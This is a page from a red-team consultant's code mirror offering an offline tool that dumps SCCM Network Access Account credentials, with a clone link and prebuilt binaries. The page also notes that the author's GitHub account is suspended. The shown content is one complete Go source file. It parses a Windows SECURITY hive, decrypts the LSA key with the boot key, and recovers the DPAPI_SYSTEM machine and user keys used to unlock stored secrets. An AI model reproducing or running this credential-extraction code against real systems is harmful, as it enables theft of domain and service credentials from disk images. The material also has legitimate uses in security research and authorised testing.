[SHEHZADE//ABDULLAH ANSARI]
Red Team Consultant @ Google | MS in Cybersecurity @ NYU
● Notice //GitHub (@shehzade) is temporarily suspended pending an automated false-positive review. All tools are hosted on this Code Mirror and available on request (contact); GitHub links will return once reinstated.
Offline extractor and decryptor for SCCM/MECM Network Access Account (NAA) credentials and policy secrets from dead-disk WMI repositories and DPAPI master keys.
$
git clone https://shehzade.io/repos/naa-dump-offline.git
Copy
Source ZIP (290.0 KB)
Prebuilt Binaries
137 lines · 3.4 KB
| 1 | package registry |
| 2 | |
| 3 | import ( |
| 4 | "crypto/aes" |
| 5 | "crypto/cipher" |
| 6 | "crypto/sha256" |
| 7 | "encoding/binary" |
| 8 | "fmt" |
| 9 | "os" |
| 10 | |
| 11 | "www.velocidex.com/golang/regparser" |
| 12 | ) |
| 13 | |
| 14 | type DPAPISystemKeys struct { |
| 15 | BootKey []byte |
| 16 | LSAKey []byte |
| 17 | MachineKey []byte |
| 18 | UserKey []byte |
| 19 | } |
| 20 | |
| 21 | func sha256Key(key, value []byte) []byte { |
| 22 | h := sha256.New() |
| 23 | h.Write(key) |
| 24 | for i := 0; i < 1000; i++ { |
| 25 | h.Write(value) |
| 26 | } |
| 27 | return h.Sum(nil) |
| 28 | } |
| 29 | |
| 30 | func decryptAES(key, ciphertext []byte) ([]byte, error) { |
| 31 | block, err := aes.NewCipher(key) |
| 32 | if err != nil { |
| 33 | return nil, err |
| 34 | } |
| 35 | iv := make([]byte, 16) |
| 36 | paddedLen := (len(ciphertext) + 15) / 16 * 16 |
| 37 | buf := make([]byte, paddedLen) |
| 38 | copy(buf, ciphertext) |
| 39 | |
| 40 | out := make([]byte, paddedLen) |
| 41 | for i := 0; i < len(buf); i += 16 { |
| 42 | mode := cipher.NewCBCDecrypter(block, iv) |
| 43 | mode.CryptBlocks(out[i:i+16], buf[i:i+16]) |
| 44 | } |
| 45 | return out, nil |
| 46 | } |
| 47 | |
| 48 | func ExtractDPAPISystemKeys(securityHivePath string, bootKey []byte) (*DPAPISystemKeys, error) { |
| 49 | f, err := os.Open(securityHivePath) |
| 50 | if err != nil { |
| 51 | return nil, fmt.Errorf("failed to open SECURITY hive: %w", err) |
| 52 | } |
| 53 | defer f.Close() |
| 54 | |
| 55 | reg, err := regparser.NewRegistry(f) |
| 56 | if err != nil { |
| 57 | return nil, fmt.Errorf("failed to parse SECURITY hive: %w", err) |
| 58 | } |
| 59 | |
| 60 | polEKKey := reg.OpenKey("Policy\\PolEKList") |
| 61 | if polEKKey == nil { |
| 62 | return nil, fmt.Errorf("could not find Policy\\PolEKList key in SECURITY hive") |
| 63 | } |
| 64 | |
| 65 | var polEKVal []byte |
| 66 | for _, v := range polEKKey.Values() { |
| 67 | if v.ValueName() == "" || v.ValueName() == "default" { |
| 68 | polEKVal = v.ValueData().Data |
| 69 | break |
| 70 | } |
| 71 | } |
| 72 | if len(polEKVal) < 60 { |
| 73 | return nil, fmt.Errorf("Policy\\PolEKList value is too short (%d bytes)", len(polEKVal)) |
| 74 | } |
| 75 | |
| 76 | salt := polEKVal[28 : 28+32] |
| 77 | ciphertext := polEKVal[28+32:] |
| 78 | |
| 79 | tmpKey := sha256Key(bootKey, salt) |
| 80 | plainText, err := decryptAES(tmpKey, ciphertext) |
| 81 | if err != nil { |
| 82 | return nil, fmt.Errorf("failed to decrypt PolEKList: %w", err) |
| 83 | } |
| 84 | |
| 85 | if len(plainText) < 100 { |
| 86 | return nil, fmt.Errorf("decrypted PolEKList plainText too short (%d bytes)", len(plainText)) |
| 87 | } |
| 88 | lsaKey := make([]byte, 32) |
| 89 | copy(lsaKey, plainText[68:100]) |
| 90 | |
| 91 | dpapiValKey := reg.OpenKey("Policy\\Secrets\\DPAPI_SYSTEM\\CurrVal") |
| 92 | if dpapiValKey == nil { |
| 93 | return nil, fmt.Errorf("could not find Policy\\Secrets\\DPAPI_SYSTEM\\CurrVal key in SECURITY hive") |
| 94 | } |
| 95 | |
| 96 | var dpapiVal []byte |
| 97 | for _, v := range dpapiValKey.Values() { |
| 98 | if v.ValueName() == "" || v.ValueName() == "default" { |
| 99 | dpapiVal = v.ValueData().Data |
| 100 | break |
| 101 | } |
| 102 | } |
| 103 | if len(dpapiVal) < 60 { |
| 104 | return nil, fmt.Errorf("DPAPI_SYSTEM CurrVal is too short (%d bytes)", len(dpapiVal)) |
| 105 | } |
| 106 | |
| 107 | dpapiSalt := dpapiVal[28 : 28+32] |
| 108 | dpapiCipher := dpapiVal[28+32:] |
| 109 | |
| 110 | dpapiTmpKey := sha256Key(lsaKey, dpapiSalt) |
| 111 | dpapiPlain, err := decryptAES(dpapiTmpKey, dpapiCipher) |
| 112 | if err != nil { |
| 113 | return nil, fmt.Errorf("failed to decrypt DPAPI_SYSTEM secret: %w", err) |
| 114 | } |
| 115 | |
| 116 | if len(dpapiPlain) < 16 { |
| 117 | return nil, fmt.Errorf("decrypted DPAPI_SYSTEM plainText too short (%d bytes)", len(dpapiPlain)) |
| 118 | } |
| 119 | |
| 120 | secretLen := binary.LittleEndian.Uint32(dpapiPlain[:4]) |
| 121 | if int(16+secretLen) > len(dpapiPlain) || secretLen < 44 { |
| 122 | return nil, fmt.Errorf("invalid secret length in DPAPI_SYSTEM: %d", secretLen) |
| 123 | } |
| 124 | |
| 125 | dpapiSecret := dpapiPlain[16 : 16+secretLen] |
| 126 | machineKey := make([]byte, 20) |
| 127 | userKey := make([]byte, 20) |
| 128 | copy(machineKey, dpapiSecret[4:24]) |
| 129 | copy(userKey, dpapiSecret[24:44]) |
| 130 | |
| 131 | return &DPAPISystemKeys{ |
| 132 | BootKey: bootKey, |
| 133 | LSAKey: lsaKey, |
| 134 | MachineKey: machineKey, |
| 135 | UserKey: userKey, |
| 136 | }, nil |
| 137 | } |